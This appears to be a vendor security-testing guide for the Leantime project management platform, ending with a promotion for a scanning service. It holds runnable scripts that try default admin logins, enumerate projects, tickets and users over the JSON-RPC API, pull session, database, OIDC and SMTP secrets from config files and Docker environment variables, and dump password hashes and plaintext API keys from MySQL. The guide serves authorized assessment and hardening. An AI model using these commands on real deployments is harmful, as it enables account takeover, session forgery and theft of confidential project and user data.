Leantime Security Testing: Default Credentials, API Key, Database, and .env Session Secret

Leantime is a widely deployed open-source project management platform (Jira/Linear alternative) built on PHP, used to manage projects, tasks, milestones, and team members — it stores all project management data including confidential project plans, task details, and internal discussions. Notably, admin@admin.com / admin is a commonly reported default credential state after fresh installation. Key assessment areas: the session secret protects user session cookies; the JSON-RPC API provides programmatic access to all project data; MySQL stores all platform data including user passwords; and OIDC integration may expose client secrets for SSO providers. This guide covers systematic Leantime security assessment.

Table of Contents

  1. Default Credentials and API Key Testing
  2. API Project and Task Data Enumeration
  3. Session Secret and Database Credential Extraction
  4. Leantime Security Hardening

Default Credentials and API Key Testing

# Leantime — default credentials and API key testing
LEANTIME_URL="https://leantime.example.com"

# Leantime login form
for CRED in "admin@admin.com:admin" "admin@example.com:admin" "admin@leantime.io:admin"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${LEANTIME_URL}/auth/login" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -b "PHPSESSID=test" -c /tmp/leantime_cookies.txt \
    -d "username=${EMAIL}&password=${PASS}" 2>/dev/null)
  # Check if redirect to dashboard (login success) or back to login (failure)
  STATUS=$(echo "$RESPONSE" | grep -c "dashboard\|logout\|Welcome" || true)
  echo "${EMAIL}/${PASS}: $([ "$STATUS" -gt 0 ] && echo 'OK' || echo 'FAIL')"
done

# API key testing (generated in user profile settings)
API_KEY="your-leantime-api-key"
curl -s -X POST "${LEANTIME_URL}/api/jsonrpc/" \
  -H "Content-Type: application/json" \
  -H "x-api-key: ${API_KEY}" \
  -d '{"jsonrpc":"2.0","method":"leantime.rpc.Projects.getAll","id":1,"params":{}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
result = d.get('result',[])
print(f'Projects accessible: {len(result) if isinstance(result,list) else \"error\"}')
if isinstance(result,list):
    for p in result[:5]:
        print(f'  [{p.get(\"id\")}] {p.get(\"name\")} client={p.get(\"clientId\")}')
" 2>/dev/null

API Project and Task Data Enumeration

# Leantime JSON-RPC API — project and task data enumeration
LEANTIME_URL="https://leantime.example.com"
API_KEY="your-leantime-api-key"

# Get all projects
curl -s -X POST "${LEANTIME_URL}/api/jsonrpc/" \
  -H "Content-Type: application/json" \
  -H "x-api-key: ${API_KEY}" \
  -d '{"jsonrpc":"2.0","method":"leantime.rpc.Projects.getAll","id":1,"params":{}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('result',[])
print(f'Total projects: {len(projects)}')
for p in projects[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} status={p.get(\"status\")} client={p.get(\"clientName\",\"\")}')
" 2>/dev/null

PROJECT_ID="1"

# Get all tickets/tasks in a project
curl -s -X POST "${LEANTIME_URL}/api/jsonrpc/" \
  -H "Content-Type: application/json" \
  -H "x-api-key: ${API_KEY}" \
  -d "{\"jsonrpc\":\"2.0\",\"method\":\"leantime.rpc.Tickets.getAll\",\"id\":2,\"params\":{\"projectId\":${PROJECT_ID}}}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tickets = d.get('result',[])
print(f'Tickets: {len(tickets)}')
for t in tickets[:5]:
    print(f'  [{t.get(\"id\")}] {t.get(\"headline\",\"\")[:40]} status={t.get(\"status\")}')
    if t.get('description'):
        print(f'    desc: {t.get(\"description\",\"\")[:60]}...')
" 2>/dev/null

# Get all users on the platform
curl -s -X POST "${LEANTIME_URL}/api/jsonrpc/" \
  -H "Content-Type: application/json" \
  -H "x-api-key: ${API_KEY}" \
  -d '{"jsonrpc":"2.0","method":"leantime.rpc.Users.getAll","id":3,"params":{}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('result',[])
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"firstname\")} {u.get(\"lastname\")} email={u.get(\"username\")} role={u.get(\"role\")}')
" 2>/dev/null

# File upload — test for arbitrary file upload
curl -s -X POST "${LEANTIME_URL}/api/jsonrpc/" \
  -H "Content-Type: application/json" \
  -H "x-api-key: ${API_KEY}" \
  -d '{"jsonrpc":"2.0","method":"leantime.rpc.Files.getAll","id":4,"params":{}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
files = d.get('result',[])
print(f'Files: {len(files) if isinstance(files,list) else files}')
" 2>/dev/null

Session Secret and Database Credential Extraction

# Leantime session secret and database credential extraction

# config/configuration.php or .env
cat /var/www/html/config/configuration.php 2>/dev/null | grep -E "sessionPassword|dbPassword|dbUser|oidcClientSecret|smtpPassword|jwtSecret"
# sessionPassword — PHP session signing secret
# dbPassword — MySQL password
# oidcClientSecret — OIDC SSO client secret (if configured)
# smtpPassword — email service password

# Docker environment variables
docker inspect leantime 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['LEAN_SESSION','LEAN_DB','OIDC','SMTP','PASSWORD','SECRET']):
            print(e)
" 2>/dev/null
# LEAN_SESSION_PASSWORD — session secret
# LEAN_DB_PASSWORD — MySQL database password
# LEAN_OIDC_CLIENT_SECRET — SSO provider client secret

# MySQL direct access
mysql -h localhost -u leantime -p"$LEAN_DB_PASSWORD" leantime 2>/dev/null << 'EOF'
-- All users with password hashes
SELECT id, username, password, role, created, clientId,
       status, pwResetCount
FROM zp_users
ORDER BY role, created DESC
LIMIT 20;
EOF

# API keys stored in user table
mysql -h localhost -u leantime -p"$LEAN_DB_PASSWORD" leantime 2>/dev/null << 'EOF'
SELECT id, username, apiKey, role
FROM zp_users
WHERE apiKey IS NOT NULL AND apiKey != ''
LIMIT 20;
EOF
# apiKey — plaintext API keys stored in MySQL

# OIDC configuration — may expose SSO client secrets
mysql -h localhost -u leantime -p"$LEAN_DB_PASSWORD" leantime 2>/dev/null << 'EOF'
SELECT setting_key, setting_value
FROM zp_settings
WHERE setting_key LIKE '%oidc%' OR setting_key LIKE '%smtp%' OR setting_key LIKE '%secret%'
LIMIT 20;
EOF

Leantime Security Hardening

Leantime Security Hardening Checklist:
Security TestMethodRisk
Default credentials (admin@admin.com/admin)POST /auth/login with admin@admin.com/admin — full admin access; commonly observed default state in fresh Leantime installations not hardened post-deploymentCritical
MySQL plaintext API key extractionSELECT apiKey FROM zp_users — API keys stored as plaintext in MySQL; enables full API access to all projects and tasks for each user without requiring password authenticationCritical
Session password extraction and cookie forgeryRead config/configuration.php or LEAN_SESSION_PASSWORD env var — session signing secret; forge valid PHP session cookies as any Leantime user bypassing password authenticationCritical
OIDC client secret extractionSELECT from zp_settings WHERE setting_key LIKE '%oidc%' — SSO client secret; enables impersonating Leantime to the identity provider for OAuth2 flowsHigh
Project and task confidential data via APIPOST /api/jsonrpc/ leantime.rpc.Projects.getAll + leantime.rpc.Tickets.getAll — all project plans, task descriptions, and milestone data accessible to any valid API key holderHigh

Automate Leantime Security Testing

Ironimo tests Leantime deployments for default credential exploitation (admin@admin.com/admin), MySQL plaintext API key extraction, session password extraction and cookie forgery, OIDC client secret exposure, JSON-RPC API project and task data enumeration, user account and password hash extraction, SMTP credential exposure, file upload restriction bypass testing, Docker environment variable exposure, and API access control project boundary testing.

Start free scan